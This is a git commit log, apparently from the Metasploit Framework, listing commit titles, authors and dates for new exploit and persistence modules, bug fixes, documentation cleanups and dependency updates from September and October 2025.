Update contact emails in CODE_OF_CONDUCT.md
2025-10-23 15:01:47 +01:00
Spencer McIntyre
c41c0c882b
Update contact emails in CODE_OF_CONDUCT.md
...
Updated contact emails for reporting unacceptable behavior.
2025-10-23 09:15:15 -04:00
Martin Sutovsky
3c11db422a
Adds safe navigation operator
2025-10-23 14:41:18 +02:00
Martin Sutovsky
51e3a2d0c5
Changes return value from nil to [] in enum_registry_values
2025-10-23 13:53:57 +02:00
adfoster-r7
b2d1095d22
Fix oracle login crash
2025-10-23 10:30:57 +01:00
HamzaSahin61
e17b2a0598
Remove 'How It Works' section from redoc_exposed.md
...
Removed the 'How It Works' section detailing the probing process for REDOC.
2025-10-23 01:45:38 +03:00
HamzaSahin61
9640152f25
Update redoc_exposed.md
2025-10-23 01:31:09 +03:00
Spencer McIntyre
3ef78ec103
Add docs for the new module
2025-10-22 15:00:44 -04:00
jenkins-metasploit
c20dd4a278
automatic module_metadata_base.json update
2025-10-22 12:35:53 +00:00
adfoster-r7
f24552cdfd
Merge pull request #20632 from h00die/linqpad_cleanup
...
Linqpad cleanup
2025-10-22 13:23:32 +01:00
adfoster-r7
1e1355bc7b
Merge pull request #20636 from sjanusz-r7/anemone-infinite-recursion-fix
...
Infinite recursion on error page fix for Anemone
2025-10-22 11:35:19 +01:00
sjanusz-r7
fa6abd6011
Infinite recursion on error page fix for Anemone
2025-10-22 11:15:58 +01:00
jenkins-metasploit
546d17e032
automatic module_metadata_base.json update
2025-10-22 07:36:35 +00:00
msutovsky-r7
e5ee4d5384
Land #20630 , adds authenticated RCE module for Vvveb CMS (CVE-2025-8518)
...
Add Vvveb CMS Authenticated RCE (CVE-2025-8518)
2025-10-22 09:27:59 +02:00
HamzaSahin61
49c1481687
Update redoc_exposed.md
2025-10-22 02:04:27 +03:00
jenkins-metasploit
7a9f24dc29
automatic module_metadata_base.json update
2025-10-21 16:37:11 +00:00
adfoster-r7
306ee8454b
Merge pull request #20633 from Chocapikk/typo-freepbx
...
easy-fix: Fix typo in modules/exploits/unix/http/freepbx_unauth_sqli_to_rce
2025-10-21 17:28:49 +01:00
Maksim Rogov
ff73363159
Update modules/exploits/multi/http/vvveb_auth_rce_cve_2025_8518.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-10-21 19:10:16 +03:00
Spencer McIntyre
79b7b54e11
Finish the smb_to_mssql relay module
2025-10-21 11:28:23 -04:00
Spencer McIntyre
67f407275c
Initial non-functioning smb-to-mssql module
2025-10-21 11:21:00 -04:00
Spencer McIntyre
c2ccac414d
Remove the USE_WINDOWS_AUTHENT option
...
It's redundant with the Mssql::Auth option which is an enum and supports
all the authentication mechanisms. This eliminates the ambiguity between
the meaning and precedence of the options.
2025-10-21 11:20:51 -04:00
Martin Sutovsky
103e3d5044
Module init
2025-10-21 16:48:23 +02:00
vognik
45a87eaaca
small fixes
2025-10-20 09:41:48 -07:00
vognik
74c7f98ad9
code review changes from @msutovsky-r7
2025-10-20 09:00:24 -07:00
Valentin Lobstein
97b58f9372
easy-fix: Fix typo in modules/exploits/unix/http/freepbx_unauth_sqli_to_rce
2025-10-20 14:29:19 +02:00
h00die
8490ce844d
linqpad persistence cleanup
2025-10-19 10:08:33 -04:00
h00die
ef9300870a
linqpad persistence cleanup
2025-10-19 10:05:48 -04:00
h00die
287cba7436
linqpad persistence cleanup
2025-10-19 10:05:36 -04:00
h00die
2575a9ad03
windows registry persistence doc update
2025-10-19 09:45:06 -04:00
h00die
bc9bd4b62c
windows registry persistence mixin conversion
2025-10-19 09:36:59 -04:00
vognik
9ad83f6454
Add Vvveb CMS Authenticated RCE (CVE-2025-8518)
2025-10-18 17:12:05 -07:00
adfoster-r7
52f07b6820
Merge pull request #20627 from h00die/fix_post_docs_options
...
Update post docs to use modern h3 for options instead of original spec (bold)
2025-10-17 21:09:59 +01:00
adfoster-r7
664c9559d1
Merge pull request #20629 from h00die/no_4_space_options
...
Clean up 2 aux docs
2025-10-17 21:06:31 +01:00
h00die
c86aefa328
remove 4 space indents in options
2025-10-16 19:34:39 -04:00
h00die
976c208414
remove 4 space indents in options
2025-10-16 19:31:50 -04:00
Spencer McIntyre
dcb28f50a1
Clean up redundant output
2025-10-16 16:29:19 -04:00
Spencer McIntyre
7bfa17eb24
Update the kerberos login method too
2025-10-16 16:29:19 -04:00
Spencer McIntyre
edf7325c68
Add tests for MsTdsLogin7
2025-10-16 16:29:19 -04:00
Spencer McIntyre
e8c3200628
Add tests for MsTdsHeader
2025-10-16 16:29:19 -04:00
Spencer McIntyre
6f5ff3c7da
Add tests for MsTdsLogin7Password
2025-10-16 16:29:19 -04:00
Spencer McIntyre
1cc412d95b
Use the new Login7 for plain SQL login too
2025-10-16 16:29:19 -04:00
Spencer McIntyre
609537d845
Finish the Login7 definition
2025-10-16 16:29:19 -04:00
Spencer McIntyre
581b938772
Add some MsTds definitions
2025-10-16 16:29:19 -04:00
Spencer McIntyre
0996cee71d
Refactor the login method to make it smaller
2025-10-16 16:29:19 -04:00
jheysel-r7
2d5f10d965
Merge pull request #20626 from h00die/fix_payload_docs_options
...
Update payload docs to use modern h3 for options instead of original spec (bold)
2025-10-16 08:42:07 -07:00
jenkins-metasploit
a059f239c9
automatic module_metadata_base.json update
2025-10-16 14:48:42 +00:00
Diego Ledda
644bcfabbb
Merge pull request #20522 from h00die/modern_persistence_sysvinit
...
update systemvinit to persistence mixin
2025-10-16 16:35:16 +02:00
jenkins-metasploit
5c3b9480bb
Bump version of framework to 6.4.95
2025-10-16 11:06:34 +00:00
jenkins-metasploit
f271212ab0
Bump version of framework to 6.4.94
2025-10-16 09:42:01 +00:00
h00die
40f3d4b72e
fix doc options bold to h3
2025-10-15 16:38:17 -04:00
h00die
6cc4465f6f
fix doc options bold to h3
2025-10-15 16:28:24 -04:00
jenkins-metasploit
bb9f3b46de
automatic module_metadata_base.json update
2025-10-15 17:32:08 +00:00
jheysel-r7
677af06c9f
Merge pull request #20621 from h00die/modern_periodic_script
...
update periodic_script to persistence mixin
2025-10-15 10:23:56 -07:00
adfoster-r7
aa34a0e016
Merge pull request #20622 from h00die/fix_doc_options
...
Update aux docs to use modern h3 for options instead of original spec (bold)
2025-10-15 17:47:52 +01:00
adfoster-r7
1549f9cae5
Merge pull request #20623 from bcoles/spec-module-validation
...
spec: ModuleValidation: Validate module DefaultTarget value
2025-10-15 13:22:56 +01:00
bcoles
daf280ad11
spec: ModuleValidation: Validate module DefaultTarget value
2025-10-15 19:58:25 +11:00
h00die
c629dc408c
replace some bolds
2025-10-14 20:44:00 -04:00
h00die
1f479ddedc
update doc options to h3 from bold
2025-10-14 20:23:50 -04:00
h00die
55583bd2c8
review for sysv persistence
2025-10-14 19:30:06 -04:00
Christophe De La Fuente
3b727fbaf2
Code review
2025-10-14 16:25:43 +02:00
Christophe De La Fuente
0a755ea03a
Add references to MITRE ATT&CK T1021 - Remote Services
2025-10-14 16:25:30 +02:00
h00die
68c74e1bcf
remove unnecessary writabledir variable and check
2025-10-13 19:54:05 -04:00
h00die
f3219668e0
remove unnedcessary sudo
2025-10-13 17:48:02 -04:00
h00die
1e9dd04505
update periodic_script to new persistence mechanism
2025-10-13 17:48:00 -04:00
h00die
7a8189f976
additional check
2025-10-13 14:07:18 -04:00
h00die
c0b09693e3
systemv updated with mixin udpates
2025-10-13 13:42:41 -04:00
h00die
1a13d39a4d
use attck ref in sysvinit persistence module
2025-10-13 13:42:41 -04:00
h00die
058e858e82
update systemvinit to persistence mixin
2025-10-13 13:42:41 -04:00
jenkins-metasploit
6f461098cc
automatic module_metadata_base.json update
2025-10-13 17:01:56 +00:00
adfoster-r7
fcb469bf66
Merge pull request #20611 from bcoles/periodic_script_persistence
...
exploit/multi/local/periodic_script_persistence: Unset DefaultTarget
2025-10-13 17:50:57 +01:00
adfoster-r7
475b294ff9
Merge pull request #20620 from adfoster-r7/pin-rack-dependencies
...
Pin rack dependencies
2025-10-13 17:49:42 +01:00
adfoster-r7
8672c52d95
Merge pull request #20619 from adfoster-r7/future-proof-peinject-method-override
...
Future proof peinject method override
2025-10-13 16:24:57 +01:00
adfoster-r7
3532254691
Pin rack dependencies
2025-10-13 16:03:28 +01:00
adfoster-r7
edd536b3bf
Future proof peinject method override
2025-10-13 15:22:05 +01:00
bcoles
93b3ec34ac
exploit/multi/local/periodic_script_persistence: Unset DefaultTarget
2025-10-11 21:47:11 +11:00
adfoster-r7
55bb27711d
Merge pull request #20608 from molecula2788/peinject_valid_fix
...
Add missing datastore argument in the `valid?` function in pe_inject.rb
2025-10-10 19:18:36 +01:00
Adrian Șendroiu
7d5ad67ad6
pe_inject.rb: Add missing datastore argument
2025-10-10 13:24:50 +03:00
HamzaSahin61
bbd2767fe1
Update redoc_exposed.md
2025-10-10 00:10:38 +03:00
HamzaSahin61
33244f66f0
style: rubocop auto-corrections + add Notes metadata
2025-10-09 23:41:11 +03:00
jenkins-metasploit
67ff15edeb
automatic module_metadata_base.json update
2025-10-09 18:59:02 +00:00
Brendan
91c0adb17f
Merge pull request #20585 from vognik/CVE_2025_60787
...
Add MotionEye Authenticated RCE (CVE-2025-60787)
2025-10-09 13:50:25 -05:00
jenkins-metasploit
2c082a4fef
automatic module_metadata_base.json update
2025-10-09 18:33:04 +00:00
Spencer McIntyre
27d0e638ed
Merge pull request #20546 from dwelch-r7/fix-ssh-login-pubkey
...
Fix ssh login pubkey module
2025-10-09 14:24:09 -04:00
Vognik
267a26b763
code review changes from smcintyre-r7@
2025-10-09 21:51:31 +04:00
Dean Welch
8c5c395ce7
Fix ssh login pubkey module
2025-10-09 12:36:00 +01:00
Metasploit
9e8b1d5a9c
Bump version of framework to 6.4.93
2025-10-09 03:33:47 -05:00
jenkins-metasploit
7c997c88f0
automatic module_metadata_base.json update
2025-10-08 21:09:17 +00:00
jheysel-r7
a8ec46f2b2
Merge pull request #20579 from nakkouchtarek/listmonk_env_disclosure
...
Add Listmonk Template Function Environment Variable Disclosure Auxiliary Module (CVE-2025-49136)
2025-10-08 14:00:37 -07:00
Tarek Nakkouch
7c840a1bac
Add Listmonk environment disclosure auxiliary module
2025-10-08 21:02:24 +01:00
HamzaSahin61
db6dbf4f8e
Update redoc_exposed.md
2025-10-08 21:19:35 +03:00
jenkins-metasploit
5f80ca6a2b
automatic module_metadata_base.json update
2025-10-08 18:08:33 +00:00
Brendan
10d1f53692
Merge pull request #19975 from dledda-r7/feat/split-stdapi
...
Split Stdapi
2025-10-08 13:00:04 -05:00
HamzaSahin61
4577a3d735
Update redoc_exposed.rb
2025-10-08 20:56:53 +03:00
jenkins-metasploit
3ed3b3964c
automatic module_metadata_base.json update
2025-10-08 15:59:46 +00:00
jheysel-r7
4f4febfcac
Merge pull request #20602 from zeroSteiner/fix/fusionpbx-cve
...
Remove a CVE that was mistakenly added
2025-10-08 08:51:17 -07:00
Brendan
05894ccb78
Apply suggestion from @bwatters-r7
2025-10-08 10:36:32 -05:00
Brendan
5d56f70ef2
Apply suggestion from @bwatters-r7
2025-10-08 10:35:50 -05:00
Brendan
e9936265dd
Update LICENSE_GEMS
2025-10-08 10:33:59 -05:00
Brendan
6a0a19b05d
Apply suggestion from @bwatters-r7
...
Bump Payloads version again
2025-10-08 10:21:15 -05:00
Spencer McIntyre
7b2643ce5d
Remove a CVE that was mistakenly added
2025-10-08 10:45:59 -04:00
dwelch-r7
02a894a189
Merge pull request #20601 from adfoster-r7/remove-faraday-pin
...
Remove faraday pin
2025-10-08 14:17:38 +01:00
adfoster-r7
9fe13e204a
Remove faraday pin
2025-10-08 13:39:23 +01:00
jenkins-metasploit
077ed6b567
automatic module_metadata_base.json update
2025-10-08 11:13:33 +00:00
dwelch-r7
c03dd45875
Merge pull request #20600 from adfoster-r7/unpin-octokit
...
Unpin octokit
2025-10-08 12:04:58 +01:00
HamzaSahin61
33825d06ec
Update redoc_exposed.rb
2025-10-08 03:45:12 +03:00
HamzaSahin61
941f3f3b72
Update redoc_exposed.md
2025-10-08 03:42:06 +03:00
HamzaSahin61
43526ee0e0
Update redoc_exposed.md
2025-10-08 03:37:43 +03:00
HamzaSahin61
67490e4244
Create redoc_exposed.md
2025-10-08 01:46:56 +03:00
jheysel-r7
eeaf760948
Merge pull request #20595 from zeroSteiner/fix/add-missing-cves
...
Add Missing CVE Data To Modules In Bulk
2025-10-07 15:28:37 -07:00
HamzaSahin61
fc35a8a32f
Update redoc_exposed.rb
2025-10-08 01:09:29 +03:00
Spencer McIntyre
9dc5696cc4
Update dash characters in module references
2025-10-07 14:03:32 -04:00
Spencer McIntyre
fd21209e4d
Add missing CVEs from VulnCheck
2025-10-07 13:59:13 -04:00
Spencer McIntyre
17c5b3707a
Add missing module notes
2025-10-07 13:59:13 -04:00
Spencer McIntyre
d727302de6
Pass all the files to msftidy to speed things up
2025-10-07 13:59:13 -04:00
adfoster-r7
e0ed3f7d6f
Unpin octokit
2025-10-07 18:08:30 +01:00
jheysel-r7
e202546d5d
Merge pull request #20597 from adfoster-r7/update-developer-dependencies
...
Update developer dependencies
2025-10-07 07:59:04 -07:00
jheysel-r7
08510166a4
Merge pull request #20596 from adfoster-r7/update-rails-dependencies
...
Update rails dependencies
2025-10-07 07:52:56 -07:00
dledda-r7
7d8aa260e4
fix: better extension suggestion with an unknown command
2025-10-07 09:53:02 -04:00
adfoster-r7
8991bec4c3
Update developer dependencies
2025-10-07 13:36:06 +01:00
adfoster-r7
a029f34a6f
Update rails dependencies
2025-10-07 13:33:20 +01:00
BenoitDePaoli
f9f0530640
fix(console): prevent RHOSTS temp file deletion after services -R
2025-10-07 14:24:50 +02:00
Vognik
5cb1968c42
small fixes
2025-10-07 08:49:24 +04:00
Vognik
1be31c05da
add some random
2025-10-07 08:38:20 +04:00
Vognik
c05a9d3f7f
code review changes from @bwatters-r7
2025-10-07 03:07:26 +04:00
jheysel-r7
f61a321dcd
Merge pull request #20591 from survivant/feature/fix-typos-hacktoberfest
...
Fix typos in documentation / hacktoberfest
2025-10-06 13:43:32 -07:00
jenkins-metasploit
e1bcc0aab6
automatic module_metadata_base.json update
2025-10-06 20:31:43 +00:00
jheysel-r7
dbf84abec3
Merge pull request #20586 from bcoles/windows_script_host_wsf
...
Add Malicious Windows Script Host Script File (.wsf) module
2025-10-06 13:21:56 -07:00
HamzaSahin61
c2f554bc36
auxiliary(scanner/http/redoc_exposed): detect exposed ReDoc API docs UI
2025-10-06 22:37:28 +03:00
dledda-r7
763f631852
fix: better loading check for split-stdapi
2025-10-06 08:40:09 -04:00
Vognik
25624e9ae0
code review changes
2025-10-06 15:46:59 +04:00
dledda-r7
35fe047a6e
chore: stdapi extensions fix comments, and format
2025-10-06 07:29:32 -04:00
dledda-r7
381ed892fa
chore: stdapi command dispatcher fix comments, and format
2025-10-06 06:48:12 -04:00
Diego Ledda
a1ab9b8ca9
Update lib/rex/post/meterpreter/extensions/stdapi_audio/stdapi_audio.rb
...
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com >
2025-10-06 10:31:54 +02:00
Diego Ledda
69ebefec13
Update lib/rex/post/meterpreter/client_core.rb
...
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com >
2025-10-06 10:30:45 +02:00
Diego Ledda
650ee9f6f1
Update lib/rex/payloads/meterpreter/config.rb
2025-10-06 10:10:05 +02:00
Sebastien Dionne
77f760c1bf
Fix typos in documentation
2025-10-05 12:01:16 -04:00
bcoles
9a8d1473d8
Add Malicious Windows Script Host Script File (.wsf) module
2025-10-05 20:16:00 +11:00
Vognik
6d295b993a
Add MotionEye Unauthenticated RCE (CVE-2025-60787)
2025-10-05 05:32:32 +04:00
jenkins-metasploit
05c854b1c5
automatic module_metadata_base.json update
2025-10-03 20:45:10 +00:00
jheysel-r7
5252e92954
Merge pull request #20568 from bcoles/vbsobfuscate
...
Msf::Exploit::VBSObfuscate: Add VBS obfuscation library
2025-10-03 13:36:43 -07:00
jenkins-metasploit
7b9ce27117
automatic module_metadata_base.json update
2025-10-03 17:13:21 +00:00
jheysel-r7
04188cb9cb
Merge pull request #20527 from h00die/modern_persistence_plist
...
update plist persistence to mixin
2025-10-03 10:05:17 -07:00
jenkins-metasploit
4526ae920e
automatic module_metadata_base.json update
2025-10-03 14:53:51 +00:00
msutovsky-r7
1491edeeb0
Land #20563 , adds automatic identifying and checking of CAs when running registry check
...
Update reg checks when DC and CA are separate
2025-10-03 16:45:09 +02:00
dledda-r7
5f2adab0e7
fix: updated stdapi loading logic
2025-10-03 09:53:50 -04:00
Jack Heysel
74d229e11f
Multiple CA testing
2025-10-02 18:14:00 -07:00
Spencer McIntyre
0aed5fcfbc
Merge pull request #20582 from xHector1337/bump-rex-random_identifier
...
Bump rex-random_identifier to version 0.1.21
2025-10-02 17:35:56 -04:00
Muzaffer Umut ŞAHİN
82f1335e82
Bump rex-random_identifier to version 0.1.21
2025-10-02 18:47:47 +03:00
Metasploit
8a021abf56
Bump version of framework to 6.4.92
2025-10-02 03:32:41 -05:00
msutovsky-r7
b5c9547cc0
Land #20456 , adds documentation for wordpress_cp_calendar_sqli auxiliary module
...
Add documentation for auxiliary/scanner/http/wordpress_cp_calendar_sqli
2025-10-02 08:02:12 +02:00
Martin Sutovsky
3cc91f544e
Fixes msftidy_docs issues
2025-10-02 07:39:48 +02:00
Martin Sutovsky
103ae28696
Addressing comments
2025-10-02 07:36:10 +02:00
Jack Heysel
f19f910f7e
Add msPKI-Certificate-Name-Flag to cert details
2025-10-01 17:35:36 -07:00
Jack Heysel
1da518ec82
Responded to comments
2025-10-01 17:35:36 -07:00
Jack Heysel
c73ffae95b
Updated CA datastore option definition
2025-10-01 17:35:36 -07:00
Jack Heysel
0458c3db70
minor edits
2025-10-01 17:35:36 -07:00
Jack Heysel
66d59a7ddc
Update reg checks when DC and CA are separate
2025-10-01 17:35:36 -07:00
jenkins-metasploit
a3498db126
automatic module_metadata_base.json update
2025-10-01 06:48:16 +00:00
msutovsky-r7
6e06963495
Land #20566 , adds support to esc_update_ldap module when shadow credentials are not required
...
Update esc_update_ldap module so shadow creds not required
2025-10-01 08:39:26 +02:00
msutovsky-r7
81127918fe
Land #20518 , adds NTLM leak/LNK padding fileformat modules
...
Adds fileformat NTLM leak/LNK padding modules
2025-09-29 15:34:40 +02:00
Martin Sutovsky
c044db677d
Cleares up docs
2025-09-29 14:29:11 +02:00
Martin Sutovsky
310b8b7f8a
Includes share datastore option in UNC path
2025-09-29 11:37:42 +02:00
Martin Sutovsky
38efab0bab
Rubocopes, fixes SMB server, code cleanup
2025-09-29 11:33:33 +02:00
Martin Sutovsky
5faf18795c
Rubocopes, fixes SMB server
2025-09-29 11:20:55 +02:00
Martin Sutovsky
eaada61d80
Fixes notes
2025-09-29 11:10:00 +02:00
Martin Sutovsky
042cdb7a60
Code cleanup, adds Faker, fixing SMB server
2025-09-29 10:55:10 +02:00
Martin Sutovsky
82e2f03c23
Fixes ZDI reference, code cleanup
2025-09-29 10:13:37 +02:00
Martin Sutovsky
d21f7917a9
Fixes regex
2025-09-29 10:01:24 +02:00
jenkins-metasploit
a849571502
automatic module_metadata_base.json update
2025-09-29 07:44:10 +00:00
Martin Sutovsky
7b4bb55e12
Rubocopes
2025-09-29 09:41:10 +02:00
msutovsky-r7
a23473a103
Land #20565 , moves image exec module to persistence category and mixin
...
Modern persistence image exec
2025-09-29 09:32:25 +02:00
h00die
81d8d46166
peer review
2025-09-26 15:44:31 -04:00
jenkins-metasploit
20c8708c96
automatic module_metadata_base.json update
2025-09-26 14:06:43 +00:00
msutovsky-r7
79ff667d5e
Land #20538 , adds systemd override persistence module
...
persistence: systemd service override
2025-09-26 15:57:31 +02:00
dledda-r7
889941487b
fix: fix logic for split stdapi loading
2025-09-26 09:43:20 -04:00
jenkins-metasploit
95bc7a4599
automatic module_metadata_base.json update
2025-09-26 13:02:18 +00:00
Martin Sutovsky
00f902b04b
Adds formatting to cleanup commands
2025-09-26 15:00:09 +02:00
Spencer McIntyre
3d1d49b71a
Merge pull request #20517 from cgranleese-r7/adds-postgres-ssl-support
...
Adds SSL support to the postgres_login module
2025-09-26 08:53:47 -04:00
dledda-r7
dd802fa8a6
fix: fix mettle stdapi split regression
2025-09-26 06:54:24 -04:00
dledda-r7
48e8d40701
fix: update meterpreter stageless cached size
2025-09-26 06:11:40 -04:00
dledda-r7
0a2707b8af
fix: update meterpreter stageless cached size
2025-09-26 03:54:58 -04:00
happybear-21
8cfc2ae723
ixed: issues, updated requested changes (files: specialfolder_leak.rb, environment_variable_datablock_leak.rb, icon_environment_datablock_leak.rb)
2025-09-26 11:05:39 +05:30
h00die
09475fc2b9
peer review
2025-09-25 16:38:50 -04:00
Jack Heysel
7b3c82f2e6
Responded to comments
2025-09-25 13:35:41 -07:00
bcoles
bbc9928a75
exploit/windows/fileformat/windows_script_host_vbscript: Use VBSObfuscate
2025-09-26 03:06:37 +10:00
bcoles
5b0565a4a1
Msf::Exploit::VBSObfuscate: Add VBS obfuscation library
2025-09-26 03:06:20 +10:00
Martin Sutovsky
a91f5f53f2
Substitutes cmd_exec with mkdir to create_process
2025-09-25 18:20:54 +02:00
adfoster-r7
070bf7f287
Merge pull request #20555 from bwatters-r7/spec/add-x64-meterp-acc-tests
...
add x64 acceptance tests, and use single, release payload
2025-09-25 15:40:51 +01:00
dledda-r7
0b1ec457b1
feat: bump metasploit-payloads
2025-09-25 10:27:05 -04:00
jenkins-metasploit
7f88110032
automatic module_metadata_base.json update
2025-09-25 10:58:08 +00:00
msutovsky-r7
86381a6394
Land #20412 , swaps to psh_exec in powershell/exec_powershell
...
Remove errant write_log call and swap to the all-in-one psh_exec rath…
2025-09-25 12:49:33 +02:00
adfoster-r7
391e4e22f6
Merge pull request #20567 from bcoles/rex-exploitation
...
bump rex-exploitation gem from 0.1.41 to 0.1.44
2025-09-25 10:08:40 +01:00
cgranleese-r7
40f6e2ca60
Updates test to cover SSL support
2025-09-25 09:48:44 +01:00
Metasploit
c4b7d9b42f
Bump version of framework to 6.4.91
2025-09-25 03:32:30 -05:00
happybear-21
ae3b548be6
fixed: issues, updated requested changes (file: datablock_padding_lnk.rb)
2025-09-24 21:56:14 +05:30
adfoster-r7
40c32a2599
Merge pull request #20561 from cgranleese-r7/fixes-report-note-warning-when-no-data-key
...
Fixes deprecation message logic when no `data` object present
2025-09-24 14:29:45 +01:00
adfoster-r7
13b6c6eb98
Add named variable
...
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com >
2025-09-24 13:57:39 +01:00
Jack Heysel
e9ab1d0839
Update esc_update_ldap module so shadow creds not required
2025-09-23 14:37:55 -07:00
h00die
915cad72b5
modern persistence for windows image_exec_options
2025-09-23 17:25:27 -04:00
h00die
2b16a23436
Update modules/exploits/osx/persistence/launch_plist.rb
...
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com >
2025-09-23 16:59:26 -04:00
h00die
e855938ff8
persistence suggester
2025-09-23 16:40:43 -04:00
h00die
01a07ac9a1
modernizing windows persistence
2025-09-23 16:39:56 -04:00
bcoles
6d693c8586
bump rex-exploitation gem from 0.1.41 to 0.1.44
2025-09-24 05:11:51 +10:00
jenkins-metasploit
74de3c7314
automatic module_metadata_base.json update
2025-09-23 15:44:11 +00:00
Brendan
a1e3e1545b
Merge pull request #20562 from uhei/fix/weblogic-regex
...
fix: WebLogic server detection regex
2025-09-23 10:35:19 -05:00
msutovsky-r7
1a84744f15
Land #20557 , fixes ActiveRecord error in reporting failure for file-based/multi-value RHOSTS
...
Fix ActiveRecord error when reporting failures with file-based RHOSTS
2025-09-23 16:28:10 +02:00
Martin Sutovsky
5260da1867
Removes redundant variables
2025-09-23 16:22:40 +02:00
Martin Sutovsky
6e01e7a5f6
Minor code changes
2025-09-23 16:16:41 +02:00
jenkins-metasploit
468b1027f3
automatic module_metadata_base.json update
2025-09-23 11:51:53 +00:00
msutovsky-r7
13b3e20a6b
Land #20559 , adds FreePBX unauthenticated SQLi to RCE module (CVE-2025-57819)
...
Add FreePBX Unauthenticated SQLi to RCE (CVE-2025-57819)
2025-09-23 13:38:44 +02:00
Uli Heilmeier
5af0dd3357
fix: WebLogic server detection regex
...
Some WebLogic server versions reports their version with a dash
between 'Server' and 'Version', like
'<p id="footerVersion">WebLogic Server-Version: 12.2.1.3.0</p>'
2025-09-23 09:58:50 +02:00
cgranleese-r7
a4f9dc7f13
Fixes deprecation message logic when no data object present
2025-09-23 08:38:14 +01:00
Brendan
052fdb7234
Merge pull request #20512 from cdelafuente-r7/fix_native_wth_gcc15
...
Fix issue with native extensions and GCC 15
2025-09-22 15:37:08 -05:00
Brendan
e6e7a455e5
Merge pull request #20540 from Chocapikk/tips
...
Add new helpful tips to COMMON_TIPS for better usability
2025-09-22 13:25:59 -05:00
Echo_Slow
b51cc87f88
Update freepbx_unauth_sqli_to_rce.rb
...
Performed manual cleanup by observing the error log of msftidy. Checked for original functionality, the exploit still works.
2025-09-22 17:34:00 +02:00
Echo_Slow
6b183ba3b4
Update freepbx_unauth_sqli_to_rce.rb
...
Used rubocop -A option
2025-09-22 16:49:19 +02:00
Echo_Slow
9c901e7a46
Merge branch 'freepbx_unauth_sqli_to_rce' of https://github.com/EchoSl0w/metasploit-framework into freepbx_unauth_sqli_to_rce
2025-09-22 16:47:34 +02:00
Echo_Slow
a1973e9f72
Update freepbx_unauth_sqli_to_rce.rb
...
Used rubocop with -A option.
2025-09-22 16:45:29 +02:00
Echo_Slow
c0f4efd87d
Update modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-09-22 16:42:22 +02:00
cgranleese-r7
13c3f4349d
Adds exception and change SSL socket initialisation
2025-09-22 14:57:46 +01:00
Echo_Slow
09207eb450
Update freepbx_unauth_sqli_to_rce.rb to account for slow systems
2025-09-22 13:18:32 +02:00
Echo_Slow
b54dfddc25
Update modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2025-09-22 13:17:28 +02:00
Echo_Slow
75c8efbc7d
Update freepbx_unauth_sqli_to_rce.rb
...
Made the code more readable
2025-09-22 11:26:11 +02:00
Echo_Slow
19074eef02
Add exploit for CVE-2025-57819
...
Added an exploit script for unauthenticated remote code execution targeting FreePBX
2025-09-21 22:56:19 +02:00
Jeff McJunkin
893a4a5c98
failure.rb: Make comments accurate again
2025-09-19 14:47:03 -07:00
Jeff McJunkin
094fa8191a
Update lib/msf/core/module/failure.rb
...
Per @smcintyre-r7's suggestion, which is a damned good one.
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com >
2025-09-19 14:45:33 -07:00
Jeff McJunkin
1dc1a24f73
Improve RHOST validation logic inside report_failure
2025-09-19 14:30:27 -07:00
Jeff McJunkin
4b2a354d21
Prevent file: paths from being saved as host addresses in report_failure
...
Added check to prevent saving file paths as host addresses.
2025-09-19 14:07:32 -07:00
h00die
ae2f7d8de1
better cleanup for launch_plist
2025-09-19 13:42:15 -04:00
h00die
d2af76cdd0
update plist persistence to mixin
2025-09-19 13:42:14 -04:00
jenkins-metasploit
a496ad0ac7
automatic module_metadata_base.json update
2025-09-18 20:48:23 +00:00
jheysel-r7
8b539f7e96
Merge pull request #20524 from h00die/modern_persistence_yum
...
update yum to persistence module
2025-09-18 13:39:57 -07:00
h00die
6c5522cdba
Update documentation/modules/exploit/linux/persistence/init_systemd_override.md
...
Co-authored-by: Brendan <bwatters@rapid7.com >
2025-09-18 16:25:54 -04:00
h00die
160cf5c55b
peer review for yum persistence
2025-09-18 16:15:24 -04:00
Spencer McIntyre
ed88e5397c
Merge pull request #20553 from BenoitDePaoli/fix/userpass_password_persistence
...
fix: ensure USERPASS_FILE credentials store password (set private_type)
2025-09-18 15:39:08 -04:00
h00die
15f4abd1b2
update yum to persistence module
2025-09-18 15:36:44 -04:00
jenkins-metasploit
dbc7af30b7
automatic module_metadata_base.json update
2025-09-18 16:05:00 +00:00
Spencer McIntyre
cf3abc280e
Merge pull request #20533 from cdelafuente-r7/feat/mitre/add_ref
...
Add T1003 "OS credential dumping" MITRE technique reference
2025-09-18 11:56:33 -04:00
happybear-21
f844377d58
added: documentation
2025-09-18 21:10:23 +05:30
jenkins-metasploit
05273263c9
automatic module_metadata_base.json update
2025-09-18 10:13:16 +00:00
Diego Ledda
c718a965d7
Merge pull request #20508 from h00die/modern_persistence_cron
...
update cron to persistence mixin
2025-09-18 12:04:00 +02:00
Diego Ledda
cb2f3992de
chore: fix white-space issue
2025-09-18 11:48:17 +02:00
Metasploit
c1b9cc7150
Bump version of framework to 6.4.90
2025-09-18 03:32:20 -05:00
h00die
6ddaa076c1
Apply suggestions from code review
...
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com >
2025-09-17 15:41:25 -04:00
bwatters-r7
1891ebef87
add x64 acceptance tests, and use single, release payload
2025-09-17 12:21:30 -05:00
cgranleese-r7
f26c14f05a
Address PR feedback
2025-09-17 15:38:08 +01:00
BenoitDePaoli
08c43670ff
fix: ensure USERPASS_FILE credentials store password (set private_type)
2025-09-17 15:42:03 +02:00
jenkins-metasploit
99c24c37f2
automatic module_metadata_base.json update
2025-09-17 13:29:46 +00:00
Diego Ledda
448381ee96
Merge pull request #20548 from xHector1337/fix-exploits/linux/samba/is_known_pipename.rb
...
Fixes samba share iteration in linux/samba/is_known_pipename
2025-09-17 15:21:27 +02:00
Diego Ledda
b5b1ac237a
Update is_known_pipename.rb
2025-09-17 11:04:28 +02:00
jenkins-metasploit
a333c81338
automatic module_metadata_base.json update
2025-09-17 08:06:57 +00:00
msutovsky-r7
dc8d67538c
